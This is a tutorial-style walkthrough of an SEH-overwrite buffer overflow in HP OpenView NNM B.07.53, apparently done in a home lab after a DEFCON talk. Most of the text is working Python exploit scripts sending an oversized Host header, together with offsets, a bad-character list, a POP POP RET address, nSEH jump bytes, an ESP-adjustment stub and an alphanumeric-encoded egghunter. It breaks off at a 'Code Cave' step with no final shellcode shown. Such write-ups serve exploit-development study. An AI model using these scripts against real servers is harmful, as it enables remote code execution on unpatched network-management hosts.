In DEFCON #16, there was an interesting session on HP OpenView NNM exploitation “from bug to 0 day” presented by muts. While watching his walk-through, I found that this particular exploit development process was extremely intense and challenging. To better understand the concepts, I decided to take that as an exercise and try to reproduce the same in my local environment.
Install HP OpenView NNM (release - B.07.53) on Windows 2003-R2-SP2.
Browse it’s web interface - http://172.16.232.198:7510/topology/home to verify everything is up and running.
Fuzz Variables
Sniff the HTTP traffic through Burp proxy and identify 5 potential fuzz points (HTTP method, url_path, ip_address, port, user_agent header) on that GET request.
To crash the application, create a Spike template - http.spk.
It is observed that ova.exe process is responsible for listening to the network connection on TCP port 7150.
Crash
Attach and run the ovas.exe process through Immunity.
Start fuzzing the http.spk template through Spike fuzzer.
1
generic_send_tcp 172.16.116.198 7510 http.spk 0 0
It is observed that while fuzzing the host header, application crashes.
Verify and confirm the same by inspecting the host header in the memory dump.
Analyzing the crash scenario
SEH and nSEH both are overwritten by fuzz buffer A.
It is possible to control/overwrite the EIP after passing the exception to the program.
ESP + 0x4C points at the 1025th byte of our fuzz buffer.
Approximate 2048 bytes buffer causes this crash.
The Bug
HP OpenView NNM - B.07.53 does not validate the host header while processing any un-authenticated HTTP request. As a result, an attacker can overwrite the SEH chain by sending a sizeable crafted buffer and hijack the execution flow.
Proof Of Concept
Restart ovas.exe and attach it within Immunity.
Set up the working directory for mona.py.
1
!mona config -set workingfolder c:\mona-logs\%p
Send the 2048 bytes buffer to verify and reproduce the same crash with a stand-alone python script.
#!/usr/bin/env python3# author: greyshell# description: crash ovas.exe with best buffer length = 3780importsocket# global constant variableHOST="172.16.116.198"PORT="7510"defmain():# best buff length = 3780buff=3780*"A"# AAAA -> \x41\x41\x41\x41crash=buff# preparing the GET requestbuffer="GET /topology/homeBaseView HTTP/1.1\r\n"buffer+="Host: "+crash+"\r\n"buffer+="Content-Type: application/x-www-form-urlencoded\r\n"buffer+="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"buffer+="Content-Length: 1048580\r\n\r\n"print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")print(f"[+] buffer length: {len(crash)}")exploit=socket.socket(socket.AF_INET,socket.SOCK_STREAM)exploit.connect((HOST,int(PORT)))exploit.send(buffer.encode())exploit.close()if__name__=="__main__":main()
nSEH & SEH Offsets
Create 3780 bytes unique pattern through mona.py.
1
!mona pattern_create 3780
Then copy those bytes from C:\mona-logs\ovas\pattern.txt and update the skeleton code.
#!/usr/bin/env python3# author: greyshell# description: find the offset for nSEH and SEH through unique patternimportsocket# global constant variableHOST="172.16.116.198"PORT="7510"defmain():# !mona pattern_create 3780buff=("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0""Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1""Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2""Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3""Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5""Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7""As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9""Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1""Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3""Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5""Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7""Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9""Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1""Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3""Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5""Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7""By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9""Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1""Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3""Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5""Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7""Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9""Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1""Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3""Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5""Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7""De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9""Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1""Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3""Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5""Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7""Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9""Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1""Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3""Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5""Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7""Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9""Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1""Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3""Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9")# max crash buff length = 3780crash=buff# preparing the GET requestbuffer="GET /topology/homeBaseView HTTP/1.1\r\n"buffer+="Host: "+crash+"\r\n"buffer+="Content-Type: application/x-www-form-urlencoded\r\n"buffer+="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"buffer+="Content-Length: 1048580\r\n\r\n"print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")print(f"[+] buffer length: {len(crash)}")exploit=socket.socket(socket.AF_INET,socket.SOCK_STREAM)exploit.connect((HOST,int(PORT)))exploit.send(buffer.encode())exploit.close()if__name__=="__main__":main()
During the crash, inspect the SEH chain and select the first corrupted-entry and then follow the address in the stack.
To verify those offsets, divide the original buffer into four different blocks - A, B, C, D, and update the skeleton code with those identified offset values.
# good chars
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3b\x3c\x3d\x3e\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f
# bad chars
\x00\x0a\x0d\x2f\x3a\x3f\x40\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
During the crash, ESP + 0x4c pointed at the 1025-the bytes of the fuzz buffer.
Algorithm
Start the ovas.exe process:
ovstop -c ovas && ovstart -c ovas
While sending the buffer, place a test-char at the 1025-th position.
if (application does not crash) OR (ESP + 0x4c does not have the value during crash time) then
consider that test-char as bad
write it down in badchars.txt
else
consider that test-char as good
write it down in goodchars.txt
Kill the ovas.exe process:
taskkill /f /im ovas.exe
Verify another test-char from all character set and repeat the same process and iterate all characters from \x00 to \xff.
#!/usr/bin/env python3# author: greyshell# description: choose safe ppr address - 0x6d6e394a from safe-ppr-HP_NNM-B.07.53.txtimportsocket# global constant variableHOST="172.16.116.198"PORT="7510"defmain():# max crash buff length = 3780total_len_buff=3780initial_buff="A"*3305nseh="BBBB"# nSEH offset = 3305# 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR:# False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP# OpenView\jre\jreActive\bin\client\jvm.dll)seh=(0x6d6e394a.to_bytes(4,'little')).decode('ISO-8859-1')buff_last="D"*(total_len_buff-len(initial_buff)-len(nseh)-len(seh))crash=initial_buff+nseh+seh+buff_last# preparing the GET requestbuffer="GET /topology/homeBaseView HTTP/1.1\r\n"buffer+="Host: "+crash+"\r\n"buffer+="Content-Type: application/x-www-form-urlencoded\r\n"buffer+="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"buffer+="Content-Length: 1048580\r\n\r\n"print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")print(f"[+] buffer length: {len(crash)}")exploit=socket.socket(socket.AF_INET,socket.SOCK_STREAM)exploit.connect((HOST,int(PORT)))exploit.send(buffer.encode())exploit.close()if__name__=="__main__":main()
As expected, this time, that address does not mangle during the crash.
Pass the exception and land on the breakpoint.
Step through POP POP RET and finally jump into nSEH.
Jump Over SEH
In nSEH, we can’t directly write a 4 byte jump code to meet D buffer because the short jump opcode (\xeb) is a bad char.
Now we need to identify all safe instructions from our good_char.txt.
Run find_safe_opcode.py and identify all safe instructions. From there, find that conditional jump instructions are safe to execute.
Conditional jump JA (\x77) occurs when
CF = 0 and ZF = 0
Jump must be within -128 to +127 bytes of the next instruction.
So if we want to jump 4 bytes (i.e. \x04 is a safe character), then the opcode is \x77\x04
Now at crash point, it is noticed that ZF = 1 and CF = 0.
To make ZF = 0 and to satisfy the jump condition, we can perform an operation that produces a non zero result (i.e., decrease the EAX register)
DEC EAX => opcode \x48 is a safe char
To satisfy the flag condition (ZF = 0), decreasing the EAX register 1 time is sufficient.
However, opcode for this instruction is one byte, so we need to fill another byte with a value (in the stack it gets interpreted as an instruction) that does not impact the ZF flag.
Due to this, we can use DEC EAX => \x48 another time as it does not change the ZF flag.
Select the jump offset = \x04 to jump over SEH and meet the D buffer.
123
# 1035FE34 48 DEC EAX
# 1035FE35 48 DEC EAX
# 1035FE36 77 04 JA SHORT 1035FE59
Update the skeleton code to overwrite nSEH with \x48\x48\x77\x04 and set a break point at 0x6d6e394a.
#!/usr/bin/env python3# author: greyshell# description: jump over SEH and meet D bufferimportsocket# global constant variableHOST="172.16.116.198"PORT="7510"defmain():# max crash buff length = 3780total_len_buff=3780initial_buff="A"*3305# 1035FE34 48 DEC EAX# 1035FE35 48 DEC EAX# 1035FE36 77 04 JA SHORT 1035FE59# little endian format: "\x4c\x4c\x77\x04" ==> bad char friendlynseh="\x48\x48\x77\x04"# 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR:# False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP# OpenView\jre\jreActive\bin\client\jvm.dll)seh=(0x6d6e394a.to_bytes(4,'little')).decode('ISO-8859-1')buff_last="D"*(total_len_buff-len(initial_buff)-len(nseh)-len(seh))crash=initial_buff+nseh+seh+buff_last# preparing the GET requestbuffer="GET /topology/homeBaseView HTTP/1.1\r\n"buffer+="Host: "+crash+"\r\n"buffer+="Content-Type: application/x-www-form-urlencoded\r\n"buffer+="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"buffer+="Content-Length: 1048580\r\n\r\n"print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")print(f"[+] buffer length: {len(crash)}")exploit=socket.socket(socket.AF_INET,socket.SOCK_STREAM)exploit.connect((HOST,int(PORT)))exploit.send(buffer.encode())exploit.close()if__name__=="__main__":main()
You can see, during the crash, the breakpoint is hit, and after stepping through POP POP RET, control goes to the nSEH. After that, it executes all instructions stored on nSEH and finally jumps forward 4 bytes and meet D buffer block.
Egghunter
At this point, roughly 464 bytes are left in D buffer.
Problem
This D buffer suffers from character translation. Due to this, we can’t directly write any shellcode/payload here.
Again if we use any existing encoder from msfvenom after eliminating all those bad characters, then the final payload size will be huge.
Solution
We can choose a smaller stage 1 payload, such as 32 bytes egghunter.
We can use a custom encoder that generates less than 464 bytes output for the 32 byte egghunter code.
We can write the original shellcode somewhere in the memory that has more space.
Alphanum Encoder
Use mona.pyalphanum encoder to encode 32 bytesegghunter payload. This encoder uses only AND, SUB, PUSH operations during the encoding process, and those instructions are bad characters friendly.
We need to choose an egg marker, and that needs to be bad character friendly as well.
It generates the encoded_alphanum.txt inside mona-logs\ovas directory.
123
encoded egghunter in hex format, egg_marker = T00wT00W
=======================================================
\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2e\x5d\x55\x5d\x2d\x2e\x5d\x55\x5d\x2d\x2f\x5e\x55\x5d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x70\x2d\x5c\x6f\x2d\x70\x2d\x5c\x6f\x2d\x71\x2f\x5d\x71\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x38\x26\x57\x2d\x45\x38\x26\x57\x2d\x46\x38\x28\x57\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5b\x6c\x38\x45\x2d\x5b\x6c\x38\x45\x2d\x5b\x6e\x3a\x45\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41\x53\x37\x2e\x2d\x41\x53\x37\x2e\x2d\x42\x54\x37\x2f\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x54\x37\x66\x45\x2d\x54\x37\x66\x45\x2d\x56\x39\x66\x46\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x3f\x39\x31\x2d\x50\x3f\x39\x31\x2d\x51\x3f\x3b\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x33\x2a\x67\x55\x2d\x33\x2a\x67\x55\x2d\x34\x2a\x67\x55\x50
Adjust ESP
When we jump over SEH and land into D buffer, at this point, let’s check our PC(i.e. EIP) and ESP address.
12
ESP => 2216E6D8
EIP => 2216FBF0
Usually when ESP > EIP, we need to perform stack pointer adjustment and make ESP <= EIP.
Because during this condition, PC and ESP both will move towards each other, and any PUSH instruction stored in the path of PC, overwrite an existing instruction in the stack. Thus it modifies the original shellcode/payload.
In our present scenario, ESP < EIP. During execution, PC and ESP both move away from each other. Due to this, there is no risk of instruction overwrite.
However, if we inspect our encoded version of egghunter code, then we can observe the followings
for the firstPUSH operation, it inserts thelast 4 bytes of the original egghunter code into the stack.
for the secondPUSH operation, it inserts the second last 4 bytes of the original egghunter code into the stack.
It means, for every PUSH, ESP moves towards low memory by 4 bytes.
After 8thPUSH operation, ESP points to the first 4 bytesof the original egghunter code.
We have to point/set the ESP far down to the high memory if we want to generate the original egghunter after the encoded egghunter payload.
Due to this reason, we need to adjust the ESP. But how far we need to go that depends on the length of ( esp_set_up_logic + encoded_payload + original_payload).
123456
# for example
esp_setup_logic = 7 bytes (assuming)
encoded_egghunter = 208 bytes
original_egghunter = 32 bytes
# we need to set the ESP to some value > 247 (7 + 208 + 32)
Problem
We can’t use ADD ESP directly because \xEC is a bad character.
ASLR protection is enabled so we can’t hardcode any address.
Further, based on the value of the EIP, we need to adjust the ESP dynamically.
Solution
First, we need to get hold of the program counter value into some register (i.e. EAX)
Then we need to perform ADD operation on that register with some safe character/value.
Then PUSH the register on the stack then POP that out into ESP. So that ESP contains the same value as EAX.
Thought Process
If we observe, when we jump over nSEH and meet our D buffer, at that point => ESP points to nSEH.
However the interestingly, it is just 8 bytes away from program counter / EIP.
So if we move this ESP value to EAX then we can get hold of the program counter approximately.
If the length of the encoded_egghunter = 208, original_egghunter = 32 then minimum we need to add 240 ~ 250 to EAX .
Here I am assuming esp_setup_logic takes maximum 10 bytes.
We can add any more than 250 but less than 464. We are very much flexible in this.
If we try to add 250 to EAX then the final opcode would be like below
But still, the final opcode has another null byte.
We can’t choose 251 to 255 as \xfa to \xff. All are bad chars.
256 => 0x100 => also contains null byte
257 => 0x101 => but here \x01\x01 both chars are safe. We can use this.
Thus, using this backtrack trial method, we can finalize the value to be added.
We are quite flexible in choosing the value to be added to adjust the ESP.
Remember that the value should not be larger than 464.
Lets choose the value = 300 => 12C (01, 2c both are safe chars).
12
ADD AX, 0x12c
String Literal: "\x66\x05\x2C\x01"
So our final esp_setup_logic will be
12345
# 2216FDF0 58 POP EAX => ESP holds the EIP (approx.)
# 2216FDF8 66:05 2C01 ADD AX,12C => add 300 with present value, 0x01 and 0x2c => both are safe character
# 2216FDF6 50 PUSH EAX
# 2216FDF7 5C POP ESP => moving the EAX value to ESP
Total length = 7 bytes.
Program Flow
During program run, when all instructions of the esp_setup_logic are executed, at that point ESP > EIP.
After that, we want the program should execute all encoded egghunter’s instructions.
During this process, PC moves toward high memory and in the path, while executing every PUSH instruction by PC, ESP moves towards low memory.
When all instructions of the encoded egghunter are finished, during that point, the ESP points at the very 1st block of the actual egghunter code.
After executing the encoded egghuntercode, the PC or EIP rolls down and executes all INC ECX and eventually reaches the beginning of the normal egghunter code. At that point ESP = EIP.
After that, the EIP starts executing the egghunter code. At that point ESP < EIP.
Finally, when the egghunter code execution is completed, it finds the address of the egg signature - T00WT00W and passes the execution control by jumping to the address where EDI points.
#!/usr/bin/env python3# author: greyshell# description: encoded egghunter payload using alphaNumEncoderimportsocket# global constant variableHOST="172.16.116.198"PORT="7510"defmain():# max crash buff length = 3780total_len_buff=3780initial_buff="A"*3305# 1035FE34 48 DEC EAX# 1035FE35 48 DEC EAX# 1035FE36 77 04 JA SHORT 1035FE59# little endian format: "\x4c\x4c\x77\x04" ==> bad char friendlynseh="\x48\x48\x77\x04"# 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR:# False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP# OpenView\jre\jreActive\bin\client\jvm.dll)seh=(0x6d6e394a.to_bytes(4,'little')).decode('ISO-8859-1')# setting up ESP dynamically to bypassing ASLR protection# 2216FDF0 58 POP EAX# 2216FDF8 66:05 2C01 ADD AX,12C# 2216FDF6 50 PUSH EAX# 2216FDF7 5C POP ESPesp_setup="\x58\x66\x05\x2c\x01\x50\x5c"# !mona encode ascii -t alphanum -b '\x00\x0a\x0d\x2f\x3a\x3f\x40\x80..\xff' -s# 6681CAFF0F42526A0258CD2E3C055A74EFB8543030578BFAAF75EAAF75E7FFE7encoded_egghunter=("\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2d\x5d\x55\x5d\x2d\x2d\x5d\x55\x5d\x2d\x31\x5e\x55\x5d\x50\x25""\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x70\x2c\x5c\x6f\x2d\x70\x2c\x5c\x6f\x2d\x71\x31\x5d\x71\x50\x25\x4a""\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x38\x26\x57\x2d\x45\x38\x26\x57\x2d\x46\x38\x28\x57\x50\x25\x4a\x4d""\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5b\x6c\x37\x45\x2d\x5b\x6c\x37\x45\x2d\x5b\x6e\x3c\x45\x50\x25\x4a\x4d\x4e""\x55\x25\x35\x32\x31\x2a\x2d\x41\x53\x37\x2d\x2d\x41\x53\x37\x2d\x2d\x42\x54\x37\x31\x50\x25\x4a\x4d\x4e\x55""\x25\x35\x32\x31\x2a\x2d\x54\x37\x66\x45\x2d\x54\x37\x66\x45\x2d\x56\x39\x66\x46\x50\x25\x4a\x4d\x4e\x55\x25""\x35\x32\x31\x2a\x2d\x50\x3e\x39\x31\x2d\x50\x3e\x39\x31\x2d\x51\x41\x3b\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35""\x32\x31\x2a\x2d\x33\x2a\x67\x55\x2d\x33\x2a\x67\x55\x2d\x34\x2a\x67\x55\x50")# replaced the "D" buffer with "A" buffer to protect from ESP corruption because D will be interpreted as INC ESPbuff_last="A"*(total_len_buff-len(initial_buff)-len(nseh)-len(seh)-len(esp_setup)-len(encoded_egghunter))crash=initial_buff+nseh+seh+esp_setup+encoded_egghunter+buff_last# preparing the GET requestbuffer="GET /topology/homeBaseView HTTP/1.1\r\n"buffer+="Host: "+crash+"\r\n"buffer+="Content-Type: application/x-www-form-urlencoded\r\n"buffer+="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"buffer+="Content-Length: 1048580\r\n\r\n"print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")print(f"[+] buffer length: {len(crash)}")exploit=socket.socket(socket.AF_INET,socket.SOCK_STREAM)exploit.connect((HOST,int(PORT)))exploit.send(buffer.encode())exploit.close()if__name__=="__main__":main()
Key Points
When the program execution happens from the stack, then the opcode placed on the buffer gets interpreted as instruction. That means A is interpreted as INC ECX.
Every PUSH instruction in theencoded_egghunter_logic, overwrites the INC ECX instruction on the stack and, finally, approximate 41 bytes of A buffer gets stored between the encoded_egghunter_logic and expanded actual egghunter.
The increment of the ECX register does not have any impact on ESP.
Code Cave
If we place another large buffer at the end of the HTTP request as POST data, then would it affect the entire crash?
To examine that scenario, create a pattern of 1500 bytes and send this new buffer as POST data.
